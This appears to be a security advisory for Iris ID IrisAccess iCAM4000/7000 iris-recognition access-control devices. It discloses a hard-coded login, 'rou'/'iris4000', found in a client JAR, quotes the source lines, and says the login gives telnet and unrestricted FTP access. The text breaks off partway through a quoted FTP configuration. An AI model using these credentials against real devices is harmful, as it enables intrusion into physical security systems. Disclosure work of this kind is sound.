The iCAM7000's versatility and flexibility allows for easy integration with many Wiegand and network based access control, time and attendance, visitor management and point of sale applications. The iCAM4000 or 4010 with embedded smart card is the best-selling model in the IrisAccess 4000 range. Simultaneous two-eye capture, face-badging camera, motorized height adjust, iCAM4000 is easily configured for use in a kiosk as well as in applications where a traditional wall-mount is used. Desc: The Iris ID IrisAccess iCAM4000/7000 series suffer from a use of hard-coded credentials. When visiting the device interface with a browser on port 80, the application loads an applet JAR file 'ICAMClient.jar' into user's browser which serves additional admin features. In the JAR file there is an account 'rou' with password 'iris4000' that has read and limited write privileges on the affected node. An attacker can access the device using these credentials starting a simple telnet session on port 23 gaining access to sensitive information and/or FTP access on port 21 (with EVERYTHING allowed) and uploading malicious content. ===================================================================================== /html/ICAMClient.jar (ICAMClient.java): --------------------------------------- 97: param_host = getParameter("host"); 98: param_user = "rou";//getParameter("user"); 99: param_pass = "iris4000";//getParameter("pass"); // password 100: param_path = getParameter("path"); // path on the server /etc/ftpd/ftpd.conf: -------------------- 69: # User list: 70: # Format: user=<login> <passwd> <subdir> <maxlogins> <flags> 71: # <login> user name 72: # <passwd> password or * for anonymous access 73: # <subdir> (internally appended to serverroot) 74: # the user has access to the WHOLE SUBTREE, 75: # if the server has access to it 76: # <maxlogins> maximal logins with this usertype 77: # <flags> D -
